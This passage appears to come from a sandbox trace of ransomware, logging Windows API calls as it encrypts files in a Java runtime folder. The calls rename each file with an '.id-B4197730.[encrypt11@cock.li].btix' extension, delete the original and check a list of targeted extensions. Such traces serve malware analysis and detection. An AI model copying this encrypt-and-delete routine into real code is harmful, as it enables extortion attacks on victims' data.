(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.478] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4464) returned 1 [0133.478] CloseHandle (hObject=0x4dc) returned 1 [0133.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0133.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.478] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.478] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0133.479] GetLastError () returned 0x0 [0133.479] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1170, lpOverlapped=0x0) returned 1 [0133.493] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1180, lpOverlapped=0x0) returned 1 [0133.494] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.494] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0133.494] SetEndOfFile (hFile=0x534) returned 1 [0133.494] CloseHandle (hObject=0x534) returned 1 [0133.494] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.495] SetEndOfFile (hFile=0x4dc) returned 1 [0133.497] CloseHandle (hObject=0x4dc) returned 1 [0133.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.497] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0133.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.498] lstrlenW (lpString=".doc") returned 4 [0133.498] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString=".docx") returned 5 [0133.498] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.498] lstrlenW (lpString=".pdf") returned 4 [0133.498] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString=".xls") returned 4 [0133.498] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString=".xlsx") returned 5 [0133.498] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.498] lstrlenW (lpString=".ppt") returned 4 [0133.498] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.498] lstrlenW (lpString=".zip") returned 4 [0133.498] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString=".rar") returned 4 [0133.498] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.498] lstrlenW (lpString=".bz2") returned 4 [0133.498] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".7z") returned 3 [0133.499] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".dbf") returned 4 [0133.499] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".1cd") returned 4 [0133.499] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".jpg") returned 4 [0133.499] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".doc") returned 4 [0133.499] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".docx") returned 5 [0133.499] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.499] lstrlenW (lpString=".pdf") returned 4 [0133.499] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".xls") returned 4 [0133.499] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".xlsx") returned 5 [0133.499] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.499] lstrlenW (lpString=".ppt") returned 4 [0133.499] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".zip") returned 4 [0133.499] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".rar") returned 4 [0133.499] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".bz2") returned 4 [0133.499] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.499] lstrlenW (lpString=".7z") returned 3 [0133.499] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.499] lstrlenW (lpString=".dbf") returned 4 [0133.500] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.500] lstrlenW (lpString=".1cd") returned 4 [0133.500] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0133.500] lstrlenW (lpString=".jpg") returned 4 [0133.500] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.500] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.500] lstrlenW (lpString="plugin.jar") returned 10 [0133.500] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.501] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1923211) returned 1 [0133.501] CloseHandle (hObject=0x4dc) returned 1 [0133.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0133.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0133.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.501] lstrlenW (lpString=".doc") returned 4 [0133.501] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.501] lstrlenW (lpString=".docx") returned 5 [0133.501] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0133.501] lstrlenW (lpString=".pdf") returned 4 [0133.501] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.501] lstrlenW (lpString=".xls") returned 4 [0133.501] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.501] lstrlenW (lpString=".xlsx") returned 5 [0133.501] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0133.501] lstrlenW (lpString=".ppt") returned 4 [0133.501] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.501] lstrlenW (lpString=".zip") returned 4 [0133.501] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.501] lstrlenW (lpString=".rar") returned 4 [0133.502] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString=".bz2") returned 4 [0133.502] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.502] lstrlenW (lpString=".7z") returned 3 [0133.502] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString=".dbf") returned 4 [0133.502] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString=".1cd") returned 4 [0133.502] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString=".jpg") returned 4 [0133.502] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString=".doc") returned 4 [0133.502] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.502] lstrlenW (lpString=".docx") returned 5 [0133.502] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0133.502] lstrlenW (lpString=".pdf") returned 4 [0133.502] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString=".xls") returned 4 [0133.502] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString=".xlsx") returned 5 [0133.502] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0133.502] lstrlenW (lpString=".ppt") returned 4 [0133.502] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.502] lstrlenW (lpString=".zip") returned 4 [0133.502] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString=".rar") returned 4 [0133.502] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.502] lstrlenW (lpString=".bz2") returned 4 [0133.502] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.503] lstrlenW (lpString=".7z") returned 3 [0133.503] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.503] lstrlenW (lpString=".dbf") returned 4 [0133.503] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.503] lstrlenW (lpString=".1cd") returned 4 [0133.503] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0133.503] lstrlenW (lpString=".jpg") returned 4 [0133.503] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.503] lstrcmpiW (lpString1=".ja", lpString2=".btix") returned 1 [0133.503] lstrlenW (lpString="psfont.properties.ja") returned 20 [0133.503] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.520] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2796) returned 1 [0133.520] CloseHandle (hObject=0x52c) returned 1 [0133.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0133.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.521] GetLastError () returned 0x0 [0133.521] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xaec, lpOverlapped=0x0) returned 1 [0133.556] WriteFile (in: hFile=0x4a8, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0133.557] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.557] WriteFile (in: hFile=0x4a8, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfc, lpOverlapped=0x0) returned 1 [0133.557] SetEndOfFile (hFile=0x4a8) returned 1 [0133.557] CloseHandle (hObject=0x4a8) returned 1 [0133.557] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.557] SetEndOfFile (hFile=0x52c) returned 1 [0133.559] CloseHandle (hObject=0x52c) returned 1 [0133.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.560] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0133.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.560] lstrlenW (lpString=".doc") returned 4 [0133.560] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0133.560] lstrlenW (lpString=".docx") returned 5 [0133.560] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0133.560] lstrlenW (lpString=".pdf") returned 4 [0133.560] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0133.560] lstrlenW (lpString=".xls") returned 4 [0133.560] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".xlsx") returned 5 [0133.561] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0133.561] lstrlenW (lpString=".ppt") returned 4 [0133.561] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString=".zip") returned 4 [0133.561] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".rar") returned 4 [0133.561] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".bz2") returned 4 [0133.561] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".7z") returned 3 [0133.561] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString=".dbf") returned 4 [0133.561] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString=".1cd") returned 4 [0133.561] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString=".jpg") returned 4 [0133.561] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.561] lstrlenW (lpString=".doc") returned 4 [0133.561] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".docx") returned 5 [0133.561] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0133.561] lstrlenW (lpString=".pdf") returned 4 [0133.561] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".xls") returned 4 [0133.561] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0133.561] lstrlenW (lpString=".xlsx") returned 5 [0133.561] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0133.561] lstrlenW (lpString=".ppt") returned 4 [0133.561] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.562] lstrlenW (lpString=".zip") returned 4 [0133.562] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString=".rar") returned 4 [0133.562] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString=".bz2") returned 4 [0133.562] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString=".7z") returned 3 [0133.562] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0133.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.562] lstrlenW (lpString=".dbf") returned 4 [0133.562] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.562] lstrlenW (lpString=".1cd") returned 4 [0133.562] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0133.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0133.562] lstrlenW (lpString=".jpg") returned 4 [0133.562] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0133.562] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.562] lstrlenW (lpString="resources.jar") returned 13 [0133.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.563] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3492573) returned 1 [0133.563] CloseHandle (hObject=0x52c) returned 1 [0133.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0133.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0133.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.563] lstrlenW (lpString=".doc") returned 4 [0133.563] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.563] lstrlenW (lpString=".docx") returned 5 [0133.563] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0133.563] lstrlenW (lpString=".pdf") returned 4 [0133.563] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.563] lstrlenW (lpString=".xls") returned 4 [0133.563] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.563] lstrlenW (lpString=".xlsx") returned 5 [0133.563] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0133.563] lstrlenW (lpString=".ppt") returned 4 [0133.563] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".zip") returned 4 [0133.564] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString=".rar") returned 4 [0133.564] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString=".bz2") returned 4 [0133.564] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.564] lstrlenW (lpString=".7z") returned 3 [0133.564] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".dbf") returned 4 [0133.564] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".1cd") returned 4 [0133.564] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".jpg") returned 4 [0133.564] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".doc") returned 4 [0133.564] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.564] lstrlenW (lpString=".docx") returned 5 [0133.564] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0133.564] lstrlenW (lpString=".pdf") returned 4 [0133.564] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString=".xls") returned 4 [0133.564] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.564] lstrlenW (lpString=".xlsx") returned 5 [0133.564] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0133.564] lstrlenW (lpString=".ppt") returned 4 [0133.564] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.564] lstrlenW 